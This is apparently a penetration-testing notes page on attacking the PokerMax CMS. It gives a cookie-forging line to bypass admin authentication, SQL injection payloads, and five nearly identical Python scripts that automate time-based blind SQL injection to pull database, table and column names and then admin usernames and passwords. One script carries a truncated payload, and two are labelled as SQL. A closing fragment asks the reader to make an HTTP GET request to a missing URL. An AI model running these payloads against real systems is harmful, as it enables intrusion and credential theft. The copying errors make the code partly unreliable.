> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cms/pokermax-cms-exploitation.md).
# PokerMax
PokerMax exploitation notes for admin cookie bypass, Burp Suite SQL injection testing, time-based blind SQLi automation, database extraction, and credential dumping.
**Vulnerability Search with Searchsploit**
After identifying a `pokermax` web page, use Searchsploit to look for potential vulnerabilities.
**Admin authentication panel identification:**
An admin authentication panel is discovered. A JavaScript snippet in the console changes `ValidUserAdmin` to `administrator`, allowing access to `configure.php` in pokeradmin.
```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```
## SQL Injection Vulnerability
**SQL injection vulnerability detection:**
#### Identify an SQL injection vulnerability in the web application. Use [BurpSuite](/hacking-tools/web/burpsuite.md) to intercept traffic.
#### Column Count Discovery with ORDER BY
```sql
admin' order by 7-- -
```
#### Table Listing Attempt with UNION SELECT
```sql
admin' union select 1,2,3,4,5,6,7-- -
```
#### Time-Based SQL Injection Usage
```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```
#### Python Automation to Extract the Database Name
```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```
```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Starting brute force attack")
time.sleep(2)
p2 = log.progress("Extract data:")
for position in range(1, 12):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("SQL injection completed")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Python Automation to Extract All Database Names
```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```
```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Starting brute force attack")
time.sleep(2)
p2 = log.progress("Extract data:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("SQL injection completed")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Python Automation to Extract Table Names
```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```
```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Starting brute force attack")
time.sleep(2)
p2 = log.progress("Extract data:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("SQL injection completed")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Python Automation to Extract Column Names
```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```
```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Starting brute force attack")
time.sleep(2)
p2 = log.progress("Extract data:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("SQL injection completed")
p2.success(data)
if __name__ == '__main__':
sqli()
```
#### Python Automation to Extract Username and Password Column Content
```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```
```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
data = ""
p1 = log.progress("SQLI:")
p1.status("Starting brute force attack")
time.sleep(2)
p2 = log.progress("Extract data:")
for position in range(1, 100):
for character in characters:
post_data = {
'op': 'adminlogin',
'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
'password': 'admin'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(main_url, data=post_data, headers=headers)
time_end = time.time()
if time_end - time_start > 0.85:
data += character
p2.status(data)
break
p1.success("SQL injection completed")
p2.success(data)
if __name__ == '__main__':
sqli()
```
---
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Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
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```
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